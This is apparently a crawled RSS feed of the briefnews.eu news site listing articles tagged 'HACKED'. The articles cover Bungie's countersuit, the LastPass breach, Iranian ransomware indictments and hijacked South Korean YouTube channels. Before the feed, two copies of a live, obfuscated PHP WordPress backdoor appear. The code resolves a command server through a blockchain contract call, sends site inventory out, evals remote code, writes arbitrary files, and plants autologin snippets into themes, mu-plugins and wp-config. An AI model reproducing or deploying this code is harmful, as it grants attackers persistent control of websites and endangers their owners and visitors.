// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); HACKED – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 02:57:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png HACKED – Brief News https://briefnews.eu 32 32 ‘Destiny 2’ cheat maker AimJunkies claims Bungie hacked them https://briefnews.eu/destiny-2-cheat-maker-aimjunkies-claims-bungie-hacked-them/ https://briefnews.eu/destiny-2-cheat-maker-aimjunkies-claims-bungie-hacked-them/#respond Thu, 22 Sep 2022 02:57:50 +0000 https://briefnews.eu/destiny-2-cheat-maker-aimjunkies-claims-bungie-hacked-them/ Destiny 2 developer Bungie has been on a legal spree recently: It sued one user over cheating and threats against its employees, as well as a YouTuber who issued nearly 100 false DMCA claims against other creators. But after suing the cheat developer AimJunkies last year, Bungie is now facing a countersuit. AimJunkies claims the developer illegally hacked an associate's computer, reports TorrentFreak (via Kotaku). Additionally, they allege Bungie also violated the DMCA by breaking through that machine's security.  

Bungie's current Limited Software License Agreement (LSLA) gives the company's BattleEye software permission to scan computers for anti-cheat tools, but that wasn't true back in 2019, when the alleged hack began. According to AimJunkie's counter-suit, Bungie accessed a computer owned by its associate James May several times throughout 2019 and 2021. It goes on to allege that Bungie used information from those hacks to gather information about other potential suspects. 

Phoenix Digital, the company behind AimJunkies, didn't stop there. It also claims the Bungie violated its Terms of Service by buying AimJunkies' software and reverse-engineering its source code. If this all sounds a bit ironic, that's because Bungie accused the company of similar tactics in its original suit. James May and Phoenix Digital are demanding damages, as well as an end to any future hacks and DMCA breaches. We've asked Bungie for comment, and will update if we hear back.

]]> https://briefnews.eu/destiny-2-cheat-maker-aimjunkies-claims-bungie-hacked-them/feed/ 0 LastPass was hacked, but it says no user data was compromised https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/ https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/#respond Sat, 17 Sep 2022 10:50:29 +0000 https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/ In August, LastPass had admitted that an "unauthorized party" gained entry into its system. Any news about a password manager getting hacked can be alarming, but the company is now reassuring its users that their logins and other information weren't compromised in the event.

In his latest update about the incident, LastPass CEO Karim Toubba said that the company's investigation with cybersecurity firm Mandiant has revealed that the bad actor had internal access to its systems for four days. They were able to steal some of the password manager's source code and technical information, but their access was limited to the service's development environment that isn't connected to customers' data and encrypted vaults. Further, Toubba pointed out that LastPass has no access to users' master passwords, which are needed to decrypt their vaults.

The CEO said there's no evidence that this incident "involved any access to customer data or encrypted password vaults." They also found no evidence of unauthorized access beyond those four days and of any traces that the hacker injected the systems with malicious code. Toubba explained that the bad actor was able to infiltrate the service's systems by compromising a developer's endpoint. The hacker then impersonated the developer "once the developer had successfully authenticated using multi-factor authentication." 

Back in 2015, LastPass suffered a security breach that compromised users' email addresses, authentication hashes, password reminders and other information. A similar breach would be more devastating today, now that the service supposedly has over 33 million registered customers. While, LastPass isn't asking users to do anything to keep their data safe this time, it's always good practice not to reuse passwords and to switch on multi-factor authentication.

]]> https://briefnews.eu/lastpass-was-hacked-but-it-says-no-user-data-was-compromised/feed/ 0 Iranians hacked US companies, sent ransom demands to printers, indictment says https://briefnews.eu/iranians-hacked-us-companies-sent-ransom-demands-to-printers-indictment-says/ https://briefnews.eu/iranians-hacked-us-companies-sent-ransom-demands-to-printers-indictment-says/#respond Thu, 15 Sep 2022 16:00:26 +0000 https://briefnews.eu/iranians-hacked-us-companies-sent-ransom-demands-to-printers-indictment-says/
Illustration of a hooded figure in dark room typing on a laptop. In the background, the wall is covered in ones and zeroes.

Enlarge (credit: Getty Images | Bill Hinton)

Three Iranian nationals charged with hacking into US-based computer networks sent ransom demands to the printers of at least some of their victims, according to an indictment unsealed today. The ransom demands allegedly sought payments in exchange for BitLocker decryption keys that the victims could use to regain access to their data.

The three defendants remain at large and outside the US, the DOJ said.

“The defendants’ hacking campaign exploited known vulnerabilities in commonly used network devices and software applications to gain access and exfiltrate data and information from victims’ computer systems,” the US Department of Justice said in a press release. Defendants Mansour Ahmadi, Ahmad Khatibi, Amir Hossein Nickaein, “and others also conducted encryption attacks against victims’ computer systems, denying victims access to their systems and data unless a ransom payment was made.”

Read 16 remaining paragraphs | Comments

]]> https://briefnews.eu/iranians-hacked-us-companies-sent-ransom-demands-to-printers-indictment-says/feed/ 0 Elon Musk’s crypto interview was broadcast on the South Korean government’s YouTube channel that was hacked and renamed ‘SpaceX Invest’ https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/ https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/#respond Mon, 05 Sep 2022 04:49:40 +0000 https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/ Tesla founder Elon Musk attends Offshore Northern Seas 2022 in Stavanger, Norway August 29, 2022.
The cyberattack saw the South Korean government's official YouTube channel broadcasting a June interview with billionaire Elon Musk.

NTB/Carina Johansen via REUTERS

  • The South Korean government's YouTube channel was breached to stream cryptocurrency videos.
  • The cyberattacker renamed the channel "SpaceX Invest" and broadcast an interview with Elon Musk.
  • It's the third YouTube channel run by South Korea's government to be hacked in the last two weeks.

The South Korean government's official YouTube channel was hacked on Saturday morning to broadcast a video featuring billionaire Elon Musk chatting about cryptocurrency, according to local media reports.

At 3:30 a.m., the channel's name was switched to "SpaceX Invest," per the Yonhap News Agency. A screenshot posted by the agency appears to show a clip from a June interview Musk gave to Bloomberg News editor-in-chief John Micklethwait during the Qatar Economic Forum.

In the interview, Musk discussed how his Tesla and SpaceX companies had bought bitcoin as a "small percentage" of their cash assets and said his automaker accepts Dogecoin, the cryptocurrency he helped boost by 10% after tweeting about it.

The South Korean government became aware of the breach three hours later and restored its access to the account around 7.20 a.m., the Ministry of Culture, Sports and Tourism said, according to Yonhap.

The agency reported that the YouTube channel's account ID and password were said to have been stolen.

The channel has around 262,000 subscribers and actively posts videos on government policies and current events. It's the third YouTube account run by South Korea's government to have been breached in the last two weeks, Korean daily JoongAng Ilbo's Lee Jian reported.

The identities and motives of those behind the attacks are not immediately known, the paper wrote, citing a statement from the Ministry of Culture, Sports and Tourism.

The Korea Tourism Organization's YouTube channel was breached twice — once on Thursday and once on Friday — and was suspended until Sunday, JoongAng Ilbo reported.

Meanwhile, the YouTube channel of South Korea's National Museum of Modern and Contemporary Art was also hacked on August 29 to stream a video about cryptocurrencies, the outlet wrote. It's not clear if this attack was related to the breach on Sunday.

Google, YouTube's parent company, confirmed the breaches to Yonhap and Joongang Ilbo, saying it would investigate the cause of the attacks. Google did not immediately respond to Insider's request for comment.

Read the original article on Business Insider

https://i.insider.com/631567f3023509001aecd8a5?format=jpeg

]]> https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/feed/ 0 China appears to have breached HPE and IBM, hacked into clients’ computers https://briefnews.eu/china-appears-to-have-breached-hpe-and-ibm-hacked-into-clients-computers/ https://briefnews.eu/china-appears-to-have-breached-hpe-and-ibm-hacked-into-clients-computers/#respond Fri, 21 Dec 2018 17:27:13 +0000 http://briefnews.eu/china-appears-to-have-breached-hpe-and-ibm-hacked-into-clients-computers/ ibmREUTERS/Thomas Peter

  • Hackers linked to China’s Ministry of State Security (MSS) breached Hewlett Packard and IBM, then broke into clients’ computers, according to Reuters.
  • The attacks were part of a Chinese campaign known as Cloudhopper, which the US and Britain on Thursday said infected technology service providers in order to steal secrets.
  • While cybersecurity firms and government agencies have issued multiple warnings about the Cloudhopper threat since 2017, they have not disclosed the identity of technology companies whose networks were compromised.

WASHINGTON/LONDON/SAN FRANCISCO (Reuters) – Hackers working on behalf of China’s Ministry of State Security breached the networks of Hewlett Packard Enterprise Co and IBM, then used the access to hack into their clients’ computers, according to five sources familiar with the attacks.

The attacks were part of a Chinese campaign known as Cloudhopper, which the United States and Britain on Thursday said infected technology service providers in order to steal secrets from their clients.

See the rest of the story at Business Insider

NOW WATCH: The world’s largest cruise ship just landed in Miami — here’s what it’s like on board

See Also:

SEE ALSO: China’s top security agency is accused of directing a wave of cyber attacks against Australia

]]> https://briefnews.eu/china-appears-to-have-breached-hpe-and-ibm-hacked-into-clients-computers/feed/ 0 Two Scandinavian backpackers hacked to death in Morocco, mother spammed with gruesome images https://briefnews.eu/two-scandinavian-backpackers-hacked-to-death-in-morocco-mother-spammed-with-gruesome-images/ https://briefnews.eu/two-scandinavian-backpackers-hacked-to-death-in-morocco-mother-spammed-with-gruesome-images/#respond Fri, 21 Dec 2018 17:14:24 +0000 http://briefnews.eu/two-scandinavian-backpackers-hacked-to-death-in-morocco-mother-spammed-with-gruesome-images/

